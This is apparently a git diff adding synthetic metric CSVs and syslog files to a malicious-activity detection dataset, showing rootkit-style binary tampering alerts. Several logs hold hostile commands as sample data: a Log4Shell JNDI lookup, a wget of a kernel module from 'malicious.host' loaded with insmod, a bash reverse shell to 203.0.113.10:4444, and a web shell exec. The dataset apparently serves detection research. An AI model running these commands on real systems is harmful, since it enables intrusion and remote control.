+2025-07-03T10:00:15Z,12.148258412248463,41.642490440384954,13.287207136444632,0.25951737247527534,0.38886991899014545 +2025-07-03T10:00:20Z,6.683082424433188,39.66978506721845,11.67546220230124,0.3303051125205728,0.4477194360874033 +2025-07-03T10:00:25Z,5.993389604843746,39.83675501049087,10.960216340692602,0.49634477907698527,0.3776257804952897 +2025-07-03T10:00:30Z,14.546263297233157,39.42374801978879,18.212327851842197,0.10289139165346502,0.13808551077074332 +2025-07-03T10:00:35Z,9.625363482097075,39.01618559902448,20.385589089782346,0.15496923796947867,0.290700388212753 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+2025-07-03T10:07:20Z,9.947698498993276,39.75112314076072,24.530508346285426,0.24860446527193558,0.22613461883381492 +2025-07-03T10:07:25Z,11.983907231576294,35.883117023970975,12.782757171478442,0.4869398936178666,0.3611619435860586 diff --git a/mali_dataset/scenario_6/mali_6_18.log b/mali_dataset/scenario_6/mali_6_18.log new file mode 100644 index 0000000000000000000000000000000000000000..0396d51e78bfe02d3f6d1448516f2b729016b545 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_18.log @@ -0,0 +1,17 @@ +Jul 03 10:00:02 systemd[1]: Starting Daily apt download activities... +Jul 03 10:00:10 CRON[3102]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:00:25 sshd[3150]: Accepted password for user regular_user from 192.168.1.105 port 54322 ssh2 +Jul 03 10:00:35 aide[3201]: AIDE found differences between database and filesystem!! +Jul 03 10:00:36 aide[3201]: File: /bin/ps +Jul 03 10:00:36 aide[3201]: MD5 : da39a3ee5e6b4b0d3255bfef95601890 | 2c85b190f4809930a63162b4b455b548 +Jul 03 10:00:36 aide[3201]: SHA256 : e3b0c44298fc1c149afbf4c8... | 1a2b3c4d5e6f7g8h9i0j1k2l3m4n... +Jul 03 10:01:05 aide[3201]: File: /bin/netstat +Jul 03 10:01:05 aide[3201]: MD5 : 4e67a6d2524d7d0a2f4c0b4f8d8f8d8f | 9b8c7a6d5e4f3g2h1i0j9k8l7m6n +Jul 03 10:01:05 aide[3201]: SHA256 : f2d8ab2851f9a1f2c2e0b5d... | a1b2c3d4e5f6g7h8i9j0k1l2m3n4... +Jul 03 10:01:30 systemd[1]: Starting Clean up of old temporary files... +Jul 03 10:02:00 log-checksum.sh[3512]: ALERT: Hash mismatch detected for /var/log/auth.log +Jul 03 10:03:00 systemd[1]: Starting Clean up of old temporary files... +Jul 03 10:03:20 sshd[3150]: pam_unix(sshd:session): session closed for user regular_user +Jul 03 10:04:10 kernel: [4501.234] usb 1-1: new high-speed USB device number 3 using xhci_hcd +Jul 03 10:04:30 systemd[1]: Starting Clean up of old temporary files... +Jul 03 10:06:00 systemd[1]: Starting Clean up of old temporary files... diff --git a/mali_dataset/scenario_6/mali_6_19.csv b/mali_dataset/scenario_6/mali_6_19.csv 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b/mali_dataset/scenario_6/mali_6_19.log @@ -0,0 +1,14 @@ +Aug 12 10:00:10 db-server-01 systemd[1]: Starting daily clean up activities... +Aug 12 10:00:25 db-server-01 sshd[3105]: Accepted password for user admin from 10.0.1.5 port 22 ssh2 +Aug 12 10:00:40 db-server-01 CRON[3110]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 12 10:02:05 db-server-01 kernel: [12345.678] new user process (5125) executed: /usr/bin/curl +Aug 12 10:02:10 db-server-01 bash[5126]: executed script from /tmp/installer.sh +Aug 12 10:03:05 db-server-01 systemd[1]: Started Session 12 of user admin. +Aug 12 10:04:10 db-server-01 CRON[3180]: (root) CMD (test -x /usr/sbin/aide && /usr/sbin/aide --check) +Aug 12 10:05:05 db-server-01 aide[3181]: AIDE integrity check detected changes. +Aug 12 10:05:06 db-server-01 aide[3181]: Changed file: /usr/bin/ps +Aug 12 10:05:07 db-server-01 aide[3181]: Changed file: /usr/bin/top +Aug 12 10:05:08 db-server-01 aide[3181]: Changed file: /usr/bin/netstat +Aug 12 10:05:09 db-server-01 aide[3181]: Changed file: /var/log/auth.log +Aug 12 10:06:00 db-server-01 systemd[1]: Starting daily apt upgrade and clean activities... +Aug 12 10:07:00 db-server-01 CRON[3250]: (root) CMD (run-parts --report /etc/cron.daily) diff --git a/mali_dataset/scenario_6/mali_6_2.csv b/mali_dataset/scenario_6/mali_6_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..83e325100991594a595be60c81b4b61c2c7984a8 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-17T09:00:00Z,24.38,40.87,29.84,1.03,1.19 +2025-08-17T09:00:05Z,19.25,46.06,25.59,1.69,1.68 +2025-08-17T09:00:10Z,18.99,40.86,30.44,1.64,2.0 +2025-08-17T09:00:15Z,27.62,44.47,29.5,1.39,1.2 +2025-08-17T09:00:20Z,26.62,44.33,26.87,0.9,1.05 +2025-08-17T09:00:25Z,27.64,42.51,32.81,1.25,1.33 +2025-08-17T09:00:30Z,25.65,41.69,31.33,1.51,1.14 +2025-08-17T09:00:35Z,23.5,46.19,28.08,0.88,1.06 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+2025-08-17T09:07:20Z,23.47,49.22,29.49,1.41,1.72 +2025-08-17T09:07:25Z,20.6,43.32,25.86,0.83,1.29 diff --git a/mali_dataset/scenario_6/mali_6_2.log b/mali_dataset/scenario_6/mali_6_2.log new file mode 100644 index 0000000000000000000000000000000000000000..595c09a5ff136556d32ec9c9a2d548fbd5d32e6f --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_2.log @@ -0,0 +1,7 @@ +Aug 17 09:00:05 nginx[1123]: 10.0.2.15 - - [17/Aug/2025:09:00:00 +0000] "GET /index.html HTTP/1.1" 200 345 "-" "Mozilla/5.0" +Aug 17 09:01:05 nginx[1123]: 188.166.175.10 - - [17/Aug/2025:09:01:05 +0000] "GET / ${jndi:ldap://188.166.175.10:1389/a} HTTP/1.1" 404 153 "-" "curl/7.68.0" +Aug 17 09:01:20 shell[18981]: (www-data) CMD (wget -O /tmp/kmod.ko http://malicious.host/kmod.ko) +Aug 17 09:01:35 shell[18995]: (root) CMD (insmod /tmp/kmod.ko) +Aug 17 09:01:36 kernel: [12345.678] Loaded kernel module 'kmod' (tainted) +Aug 17 09:02:30 kernel: [UFW AUDIT] IN= OUT=eth0 SRC=10.0.0.5 DST=188.166.175.10 LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=53 DPT=53 LEN=20 +Aug 17 09:03:20 cron[19100]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/mali_dataset/scenario_6/mali_6_20.csv b/mali_dataset/scenario_6/mali_6_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..7d7112050f75fbb12ec96b0371eb0704db185b1b --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,14.22,40.78,32.08,1.03,0.92 +2025-07-02T12:00:05Z,16.82,39.11,32.88,1.32,0.87 +2025-07-02T12:00:10Z,15.54,39.28,30.95,1.1,1.21 +2025-07-02T12:00:15Z,12.75,40.17,26.96,1.11,0.98 +2025-07-02T12:00:20Z,8.78,42.86,26.33,1.22,0.4 +2025-07-02T12:00:25Z,17.28,41.04,32.47,1.14,0.89 +2025-07-02T12:00:30Z,17.82,39.97,32.51,0.86,0.85 +2025-07-02T12:00:35Z,11.21,42.49,25.87,1.36,1.03 +2025-07-02T12:00:40Z,19.1,40.05,27.16,0.98,0.96 +2025-07-02T12:00:45Z,13.93,39.55,33.27,1.01,0.67 +2025-07-02T12:00:50Z,21.58,38.55,30.22,0.99,0.77 +2025-07-02T12:00:55Z,16.5,40.25,36.09,1.13,1.05 +2025-07-02T12:01:00Z,14.16,40.17,31.55,0.97,0.67 +2025-07-02T12:01:05Z,18.09,38.98,32.79,1.08,0.86 +2025-07-02T12:01:10Z,15.28,37.13,29.75,1.35,0.62 +2025-07-02T12:01:15Z,15.32,39.79,28.65,0.85,1.05 +2025-07-02T12:01:20Z,15.19,40.17,25.65,0.64,1.05 +2025-07-02T12:01:25Z,14.61,39.41,21.88,1.26,0.84 +2025-07-02T12:01:30Z,16.59,38.57,33.35,1.06,0.63 +2025-07-02T12:01:35Z,17.03,38.39,32.38,1.14,0.72 +2025-07-02T12:01:40Z,15.89,39.27,28.49,1.15,0.78 +2025-07-02T12:01:45Z,19.53,42.04,33.16,0.93,0.75 +2025-07-02T12:01:50Z,11.61,40.23,25.6,1.04,0.87 +2025-07-02T12:01:55Z,13.84,37.55,34.72,0.66,0.52 +2025-07-02T12:02:00Z,17.06,40.96,31.42,0.99,0.56 +2025-07-02T12:02:05Z,12.06,39.33,35.03,1.02,0.63 +2025-07-02T12:02:10Z,18.91,43.51,24.93,0.77,0.98 +2025-07-02T12:02:15Z,16.78,39.53,34.28,0.86,0.58 +2025-07-02T12:02:20Z,14.55,39.91,32.79,0.98,0.84 +2025-07-02T12:02:25Z,16.34,40.29,31.02,1.07,0.98 +2025-07-02T12:02:30Z,13.53,40.43,27.39,0.97,0.52 +2025-07-02T12:02:35Z,11.3,40.08,31.06,1.28,0.42 +2025-07-02T12:02:40Z,17.14,40.08,30.79,1.15,0.43 +2025-07-02T12:02:45Z,17.36,39.67,28.17,1.16,0.9 +2025-07-02T12:02:50Z,15.29,39.17,25.89,0.65,0.88 +2025-07-02T12:02:55Z,14.95,39.44,26.79,0.92,0.76 +2025-07-02T12:03:00Z,9.68,38.22,28.41,1.04,0.59 +2025-07-02T12:03:05Z,12.91,39.21,33.41,0.92,0.81 +2025-07-02T12:03:10Z,13.84,39.0,33.56,1.05,0.49 +2025-07-02T12:03:15Z,15.58,39.35,35.07,0.89,0.89 +2025-07-02T12:03:20Z,18.46,39.33,31.47,0.83,0.8 +2025-07-02T12:03:25Z,13.7,39.79,25.66,0.99,0.79 +2025-07-02T12:03:30Z,13.05,40.68,27.77,1.02,1.08 +2025-07-02T12:03:35Z,17.39,39.54,26.54,0.94,0.59 +2025-07-02T12:03:40Z,14.68,40.14,29.23,0.99,0.57 +2025-07-02T12:03:45Z,11.58,40.41,34.13,1.19,0.88 +2025-07-02T12:03:50Z,18.05,39.53,29.46,1.1,1.01 +2025-07-02T12:03:55Z,12.86,39.78,28.71,1.16,0.6 +2025-07-02T12:04:00Z,13.6,40.53,31.59,1.12,0.59 +2025-07-02T12:04:05Z,12.42,37.45,32.2,1.02,0.76 +2025-07-02T12:04:10Z,15.9,40.99,32.9,0.94,0.91 +2025-07-02T12:04:15Z,17.68,39.29,27.19,1.37,0.64 +2025-07-02T12:04:20Z,14.06,35.0,27.37,1.03,0.99 +2025-07-02T12:04:25Z,15.99,40.8,28.63,1.16,1.22 +2025-07-02T12:04:30Z,13.82,38.2,32.23,0.88,0.77 +2025-07-02T12:04:35Z,20.84,41.34,30.58,0.72,0.69 +2025-07-02T12:04:40Z,18.76,38.52,27.09,0.76,1.23 +2025-07-02T12:04:45Z,13.51,39.68,35.69,0.94,0.53 +2025-07-02T12:04:50Z,16.32,41.0,28.37,0.77,1.02 +2025-07-02T12:04:55Z,17.35,38.81,29.63,1.17,1.0 +2025-07-02T12:05:00Z,16.07,38.51,29.71,0.93,0.49 +2025-07-02T12:05:05Z,13.1,39.83,27.54,0.91,0.93 +2025-07-02T12:05:10Z,14.59,42.06,29.89,1.33,1.08 +2025-07-02T12:05:15Z,16.82,41.65,30.17,0.94,0.71 +2025-07-02T12:05:20Z,16.11,42.1,30.79,0.92,0.4 +2025-07-02T12:05:25Z,12.86,40.58,30.95,1.5,0.63 +2025-07-02T12:05:30Z,16.12,40.73,28.4,1.09,1.17 +2025-07-02T12:05:35Z,12.46,41.61,27.22,1.03,0.58 +2025-07-02T12:05:40Z,9.67,40.85,33.28,0.92,0.99 +2025-07-02T12:05:45Z,15.43,38.79,29.35,1.26,0.53 +2025-07-02T12:05:50Z,17.38,41.17,33.29,1.25,0.69 +2025-07-02T12:05:55Z,16.1,39.26,31.36,0.53,0.64 +2025-07-02T12:06:00Z,18.67,38.77,38.05,1.0,0.76 +2025-07-02T12:06:05Z,19.37,40.21,29.71,1.06,0.89 +2025-07-02T12:06:10Z,15.88,39.88,25.04,1.12,0.8 +2025-07-02T12:06:15Z,13.39,41.31,29.05,0.76,0.62 +2025-07-02T12:06:20Z,14.88,40.42,33.63,1.01,0.77 +2025-07-02T12:06:25Z,11.38,39.36,35.7,1.36,0.76 +2025-07-02T12:06:30Z,14.91,39.91,35.25,1.24,0.71 +2025-07-02T12:06:35Z,14.77,39.15,32.01,0.81,0.68 +2025-07-02T12:06:40Z,15.44,39.51,34.81,1.08,0.65 +2025-07-02T12:06:45Z,17.74,41.9,27.06,0.87,0.84 +2025-07-02T12:06:50Z,9.68,40.62,28.35,1.18,1.22 +2025-07-02T12:06:55Z,16.88,39.44,27.27,0.5,0.8 +2025-07-02T12:07:00Z,13.65,39.52,31.86,1.2,0.84 +2025-07-02T12:07:05Z,16.98,39.11,34.0,1.07,0.62 +2025-07-02T12:07:10Z,15.43,39.72,30.21,1.23,0.68 +2025-07-02T12:07:15Z,12.41,37.77,31.36,0.78,1.08 +2025-07-02T12:07:20Z,17.19,40.92,28.73,0.97,0.72 +2025-07-02T12:07:25Z,13.15,39.6,29.01,0.8,0.88 diff --git a/mali_dataset/scenario_6/mali_6_20.log b/mali_dataset/scenario_6/mali_6_20.log new file mode 100644 index 0000000000000000000000000000000000000000..644601b30814dff5a440d1b263021841d58077a4 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_20.log @@ -0,0 +1,19 @@ +Jul 02 12:00:10 systemd[1]: Starting Daily apt download activities... +Jul 02 12:00:25 CRON[15011]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) +Jul 02 12:00:50 sshd[15020]: Server listening on 0.0.0.0 port 22. +Jul 02 12:01:45 aide[15050]: AIDE found differences between database and filesystem!! +Jul 02 12:01:46 aide[15050]: Summary: total_files=5034, added_files=0, removed_files=0, changed_files=3 +Jul 02 12:01:50 aide[15050]: Changed file: /bin/ps +Jul 02 12:01:51 aide[15050]: SHA512 : 0a1b2c... , 3d4e5f... +Jul 02 12:01:55 aide[15050]: Changed file: /bin/netstat +Jul 02 12:01:56 aide[15050]: SHA512 : 6a7b8c... , 9d0e1f... +Jul 02 12:02:00 aide[15050]: Changed file: /usr/bin/top +Jul 02 12:02:01 aide[15050]: SHA512 : f1e2d3... , c4b5a6... +Jul 02 12:03:00 systemd[1]: Started Session 131 of user root. +Jul 02 12:03:40 kernel: [1823.431] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 02 12:04:15 CRON[15190]: (root) CMD (bash -c 'bash -i >& /dev/tcp/203.0.113.10/4444 0>&1') +Jul 02 12:04:16 audispd: type=PROCTITLE msg=audit(1751457856.0:73): proctitle=bash-cbash -i >& /dev/tcp/203.0.113.10/4444 0>&1 +Jul 02 12:05:00 systemd[1]: Starting Clean php session files... +Jul 02 12:05:50 sshd[15255]: Did not receive identification string from 198.51.100.22 port 51234 +Jul 02 12:06:40 systemd[1]: session-131.scope: Succeeded. +Jul 02 12:07:10 kernel: [2253.110] usb 1-1: USB disconnect, device number 2 diff --git a/mali_dataset/scenario_6/mali_6_21.csv b/mali_dataset/scenario_6/mali_6_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..f6d08bbd14cacf3c595311f8647263709b128fd6 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T14:30:00Z,14.38,46.57,28.46,1.55,1.12 +2025-08-22T14:30:05Z,16.46,43.22,29.81,1.98,1.07 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+2025-08-22T14:35:10Z,14.68,49.11,24.82,2.0,1.28 +2025-08-22T14:35:15Z,16.45,48.3,25.28,1.41,0.91 +2025-08-22T14:35:20Z,15.89,49.2,26.31,1.38,0.53 +2025-08-22T14:35:25Z,13.29,46.15,26.58,2.31,0.83 +2025-08-22T14:35:30Z,15.89,46.46,22.34,1.64,1.37 +2025-08-22T14:35:35Z,12.97,48.21,20.37,1.54,0.78 +2025-08-22T14:35:40Z,10.74,46.71,30.47,1.38,1.19 +2025-08-22T14:35:45Z,15.35,42.59,23.91,1.89,0.73 +2025-08-22T14:35:50Z,16.9,47.35,30.49,1.87,0.89 +2025-08-22T14:35:55Z,15.88,43.52,27.27,0.8,0.84 +2025-08-22T14:36:00Z,17.94,42.54,38.41,1.51,0.96 +2025-08-22T14:36:05Z,18.5,45.42,24.52,1.6,1.09 +2025-08-22T14:36:10Z,15.71,44.76,16.73,1.69,1.0 +2025-08-22T14:36:15Z,13.71,47.62,23.42,1.13,0.82 +2025-08-22T14:36:20Z,14.91,45.84,31.06,1.51,0.97 +2025-08-22T14:36:25Z,12.1,43.72,34.51,2.03,0.96 +2025-08-22T14:36:30Z,14.93,44.82,33.75,1.86,0.91 +2025-08-22T14:36:35Z,14.82,43.29,28.34,1.22,0.88 +2025-08-22T14:36:40Z,15.35,44.03,33.02,1.62,0.85 +2025-08-22T14:36:45Z,17.19,48.8,20.1,1.3,1.04 +2025-08-22T14:36:50Z,10.75,46.24,22.24,1.77,1.42 +2025-08-22T14:36:55Z,16.5,43.88,20.44,0.65,1.0 +2025-08-22T14:37:00Z,13.92,44.04,28.11,1.79,1.04 +2025-08-22T14:37:05Z,16.59,43.22,31.66,1.6,0.82 +2025-08-22T14:37:10Z,15.35,44.44,25.35,1.84,0.88 +2025-08-22T14:37:15Z,12.93,40.54,27.26,1.18,1.28 +2025-08-22T14:37:20Z,16.75,46.84,22.89,1.45,0.92 +2025-08-22T14:37:25Z,13.52,44.19,23.35,1.2,1.08 diff --git a/mali_dataset/scenario_6/mali_6_21.log b/mali_dataset/scenario_6/mali_6_21.log new file mode 100644 index 0000000000000000000000000000000000000000..c50109c3a8f59736ca275eb187dd9958c0533b0c --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_21.log @@ -0,0 +1,19 @@ +Aug 22 14:30:00 server kernel: [12345.678] random: crng init done +Aug 22 14:30:15 server CRON[3101]: (root) CMD ( run-parts --report /etc/cron.hourly) +Aug 22 14:30:45 server sshd[3150]: Server listening on 0.0.0.0 port 22. +Aug 22 14:31:05 server apache2[2809]: [pid 2809] [client 123.123.123.123] AH00037: user www-data: exec of '/var/www/html/uploads/shell.php' succeeded +Aug 22 14:31:15 server kernel: [12420.111] audit: type=1400 audit(1755881475.000:25): apparmor="DENIED" operation="exec" profile="/usr/sbin/apache2" name="/usr/bin/wget" pid=3201 comm="apache2" requested_mask="x" denied_mask="x" fsuid=33 ouid=0 +Aug 22 14:31:40 server systemd[1]: Starting Daily apt download activities... +Aug 22 14:32:00 server sudo: pam_unix(sudo:session): session opened for user root by (uid=0) +Aug 22 14:32:30 server logrotate[3255]: ALERT exited abnormally with [1] +Aug 22 14:33:00 server aide[3301]: AIDE integrity check detected changes. +Aug 22 14:33:00 server aide[3301]: Changed file: /bin/ps +Aug 22 14:33:00 server aide[3301]: - sha256sum changed +Aug 22 14:33:00 server aide[3301]: Changed file: /bin/netstat +Aug 22 14:33:00 server aide[3301]: - sha256sum changed +Aug 22 14:33:00 server aide[3301]: End of AIDE output. +Aug 22 14:33:45 server systemd[1]: Started Session 3 of user admin. +Aug 22 14:35:00 server sshd[3400]: Accepted publickey for admin from 192.168.1.100 port 51234 ssh2: RSA SHA256:... +Aug 22 14:35:50 server CRON[3450]: (admin) CMD (backup-script.sh) +Aug 22 14:36:40 server kernel: [12745.999] usb 1-1: new high-speed USB device number 3 using xhci_hcd +Aug 22 14:37:25 server systemd[1]: Stopping User Runtime Directory /run/user/1000... diff --git a/mali_dataset/scenario_6/mali_6_22.csv b/mali_dataset/scenario_6/mali_6_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..a49d4ee4767849c1b08b95b952c1d8a8c12381f7 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,15.99,45.29,33.13,1.63,0.9 +2025-07-02T12:00:05Z,14.72,47.91,25.71,0.77,1.11 +2025-07-02T12:00:10Z,16.3,42.89,24.65,1.55,0.78 +2025-07-02T12:00:15Z,18.05,44.02,32.41,1.2,0.88 +2025-07-02T12:00:20Z,14.53,43.82,28.88,0.91,0.94 +2025-07-02T12:00:25Z,14.53,40.61,33.57,1.34,0.72 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+2025-07-02T12:07:10Z,16.83,45.04,38.16,1.19,0.87 +2025-07-02T12:07:15Z,15.66,49.36,22.85,1.11,0.61 +2025-07-02T12:07:20Z,13.94,44.21,27.8,1.3,0.7 +2025-07-02T12:07:25Z,16.03,53.16,30.65,0.95,0.59 diff --git a/mali_dataset/scenario_6/mali_6_22.log b/mali_dataset/scenario_6/mali_6_22.log new file mode 100644 index 0000000000000000000000000000000000000000..fe62771cb7c614fad2500363b6e28ca10f1890aa --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_22.log @@ -0,0 +1,16 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:10 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:25 CRON[5512]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:50 sshd[5520]: Accepted publickey for user from 192.168.1.10 port 49152 ssh2: RSA SHA256:... +Jul 02 12:01:30 tripwire[5580]: *** FINISHED *** +Jul 02 12:01:30 tripwire[5580]: File /bin/netstat has been modified! +Jul 02 12:01:30 tripwire[5580]: File /bin/ps has been modified! +Jul 02 12:01:30 tripwire[5580]: File /usr/bin/top has been modified! +Jul 02 12:02:00 tripwire[5595]: Integrity check failed. File /var/log/secure has been modified. +Jul 02 12:02:00 tripwire[5595]: Reason: Log file tampered, size changed unexpectedly. +Jul 02 12:02:30 systemd[1]: Started Session 12 of user anotheruser. +Jul 02 12:03:45 web-app[1234]: GET /api/v1/user/34 status=200 OK +Jul 02 12:04:10 kernel: [11345.678901] audit: type=1326 audit(1656763550.234:123): auid=1001 uid=1001 gid=1001 ses=12 pid=5678 comm="ps" exe="/bin/ps" sig=0 arch=c000003e syscall=288 compat=0 ip=0x7f1234567890 code=0x50000 +Jul 02 12:05:00 CRON[5700]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 02 12:05:50 sshd[5710]: Disconnected from user 192.168.1.10 port 49152 +Jul 02 12:07:05 systemd[1]: Daily apt download activities finished. diff --git a/mali_dataset/scenario_6/mali_6_23.csv b/mali_dataset/scenario_6/mali_6_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..34436adee07a201d8ba1d1e512dce58a18f6b018 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26 14:00:00+00:00,16.05,43.78,36.09,0.91,0.65 +2025-08-26 14:00:05+00:00,17.74,43.44,28.47,1.12,1.42 +2025-08-26 14:00:10+00:00,16.2,48.74,23.87,0.7,1.07 +2025-08-26 14:00:15+00:00,15.56,46.99,35.5,1.21,0.77 +2025-08-26 14:00:20+00:00,15.0,44.39,34.57,0.59,0.58 +2025-08-26 14:00:25+00:00,20.57,46.75,30.19,1.48,1.01 +2025-08-26 14:00:30+00:00,15.74,40.17,24.45,1.23,0.91 +2025-08-26 14:00:35+00:00,13.76,43.34,21.67,1.3,0.96 +2025-08-26 14:00:40+00:00,10.93,44.78,28.06,1.29,0.57 +2025-08-26 14:00:45+00:00,13.28,40.27,24.8,1.59,0.91 +2025-08-26 14:00:50+00:00,16.96,42.93,27.52,1.18,0.4 +2025-08-26 14:00:55+00:00,14.86,38.29,26.65,0.66,0.91 +2025-08-26 14:01:00+00:00,12.32,47.49,35.02,1.0,0.99 +2025-08-26 14:01:05+00:00,14.68,44.19,33.78,0.62,1.34 +2025-08-26 14:01:10+00:00,14.33,41.57,27.28,1.23,0.87 +2025-08-26 14:01:15+00:00,18.74,41.33,32.04,1.67,0.71 +2025-08-26 14:01:20+00:00,14.42,47.26,33.72,1.1,1.12 +2025-08-26 14:01:25+00:00,17.68,47.55,22.59,1.31,1.25 +2025-08-26 14:01:30+00:00,16.53,41.74,27.68,1.04,1.39 +2025-08-26 14:01:35+00:00,16.53,45.22,29.45,1.44,0.82 +2025-08-26 14:01:40+00:00,14.29,42.24,29.01,0.83,0.47 +2025-08-26 14:01:45+00:00,13.8,42.61,25.1,1.09,0.4 +2025-08-26 14:01:50+00:00,13.84,43.04,37.34,0.91,0.7 +2025-08-26 14:01:55+00:00,17.72,40.3,29.47,1.01,0.55 +2025-08-26 14:02:00+00:00,15.0,45.34,33.69,1.48,1.08 +2025-08-26 14:02:05+00:00,16.41,41.86,15.0,1.47,0.46 +2025-08-26 14:02:10+00:00,14.78,47.76,24.07,1.47,0.88 +2025-08-26 14:02:15+00:00,14.84,42.9,32.96,1.07,0.64 +2025-08-26 14:02:20+00:00,12.9,42.14,22.33,1.63,1.0 +2025-08-26 14:02:25+00:00,17.1,41.47,29.93,1.52,1.28 +2025-08-26 14:02:30+00:00,17.49,43.68,23.03,1.02,0.51 +2025-08-26 14:02:35+00:00,13.65,46.39,28.5,0.92,0.7 +2025-08-26 14:02:40+00:00,16.06,43.96,36.11,1.9,0.68 +2025-08-26 14:02:45+00:00,15.24,43.4,37.96,1.34,0.67 +2025-08-26 14:02:50+00:00,13.08,40.92,28.16,1.25,1.25 +2025-08-26 14:02:55+00:00,11.76,46.08,31.13,1.42,0.85 +2025-08-26 14:03:00+00:00,16.59,39.01,31.2,1.63,0.93 +2025-08-26 14:03:05+00:00,11.69,48.86,21.48,1.44,1.33 +2025-08-26 14:03:10+00:00,13.45,42.51,24.8,1.68,1.31 +2025-08-26 14:03:15+00:00,14.22,42.1,34.08,1.3,0.77 +2025-08-26 14:03:20+00:00,11.63,44.28,31.24,1.03,1.34 +2025-08-26 14:03:25+00:00,13.61,44.04,29.2,1.31,0.71 +2025-08-26 14:03:30+00:00,17.04,49.27,27.62,1.26,0.43 +2025-08-26 14:03:35+00:00,15.42,51.24,28.67,1.3,0.77 +2025-08-26 14:03:40+00:00,16.99,42.65,28.53,1.59,1.35 +2025-08-26 14:03:45+00:00,16.37,46.86,32.61,1.19,1.22 +2025-08-26 14:03:50+00:00,15.65,43.14,26.62,0.67,0.64 +2025-08-26 14:03:55+00:00,14.04,44.72,26.82,1.15,0.99 +2025-08-26 14:04:00+00:00,14.94,46.92,33.4,1.72,0.72 +2025-08-26 14:04:05+00:00,13.68,44.43,16.81,0.68,0.64 +2025-08-26 14:04:10+00:00,21.77,46.7,26.59,1.49,0.84 +2025-08-26 14:04:15+00:00,15.32,41.71,36.54,1.45,1.1 +2025-08-26 14:04:20+00:00,18.94,48.42,26.57,1.08,1.03 +2025-08-26 14:04:25+00:00,17.2,45.63,28.49,1.59,1.77 +2025-08-26 14:04:30+00:00,12.8,41.55,31.75,1.5,1.33 +2025-08-26 14:04:35+00:00,13.8,46.59,23.59,1.19,1.05 +2025-08-26 14:04:40+00:00,14.21,40.95,26.24,1.37,0.67 +2025-08-26 14:04:45+00:00,16.46,42.49,30.07,1.2,0.65 +2025-08-26 14:04:50+00:00,15.92,43.35,32.44,1.18,1.0 +2025-08-26 14:04:55+00:00,19.4,50.0,28.9,1.34,0.4 +2025-08-26 14:05:00+00:00,15.64,42.87,28.09,1.06,1.1 +2025-08-26 14:05:05+00:00,16.16,47.52,41.71,1.31,0.4 +2025-08-26 14:05:10+00:00,13.19,44.61,31.44,1.08,0.6 +2025-08-26 14:05:15+00:00,12.85,44.49,40.29,1.34,1.36 +2025-08-26 14:05:20+00:00,15.38,51.76,24.09,0.98,0.98 +2025-08-26 14:05:25+00:00,16.29,47.58,28.56,1.36,1.08 +2025-08-26 14:05:30+00:00,14.56,41.1,28.66,1.08,1.09 +2025-08-26 14:05:35+00:00,21.37,51.97,32.76,1.11,0.93 +2025-08-26 14:05:40+00:00,16.04,47.73,34.41,1.6,0.97 +2025-08-26 14:05:45+00:00,13.47,45.81,27.53,0.93,0.91 +2025-08-26 14:05:50+00:00,16.35,44.28,28.17,1.19,0.74 +2025-08-26 14:05:55+00:00,15.18,47.76,32.58,1.07,1.01 +2025-08-26 14:06:00+00:00,12.91,49.37,34.07,1.18,0.99 +2025-08-26 14:06:05+00:00,14.22,41.56,34.34,1.19,0.74 +2025-08-26 14:06:10+00:00,15.47,49.5,33.98,1.38,0.78 +2025-08-26 14:06:15+00:00,16.69,42.63,30.96,1.73,0.56 +2025-08-26 14:06:20+00:00,15.88,41.05,29.56,1.01,1.05 +2025-08-26 14:06:25+00:00,15.5,49.33,39.62,1.52,1.24 +2025-08-26 14:06:30+00:00,17.23,48.73,22.39,1.5,1.25 +2025-08-26 14:06:35+00:00,16.39,46.78,26.5,1.38,1.07 +2025-08-26 14:06:40+00:00,15.28,47.91,38.52,1.58,0.56 +2025-08-26 14:06:45+00:00,12.04,47.55,29.26,1.25,0.52 +2025-08-26 14:06:50+00:00,17.44,38.1,30.0,1.02,0.84 +2025-08-26 14:06:55+00:00,14.2,45.4,24.46,1.24,1.48 +2025-08-26 14:07:00+00:00,12.14,46.47,24.45,1.63,1.15 +2025-08-26 14:07:05+00:00,14.7,45.11,31.83,1.26,1.39 +2025-08-26 14:07:10+00:00,19.23,39.83,34.1,0.89,1.23 +2025-08-26 14:07:15+00:00,13.73,49.76,34.75,1.25,1.17 +2025-08-26 14:07:20+00:00,14.66,45.65,27.35,1.42,0.69 +2025-08-26 14:07:25+00:00,13.66,47.17,31.24,0.56,0.4 diff --git a/mali_dataset/scenario_6/mali_6_23.log b/mali_dataset/scenario_6/mali_6_23.log new file mode 100644 index 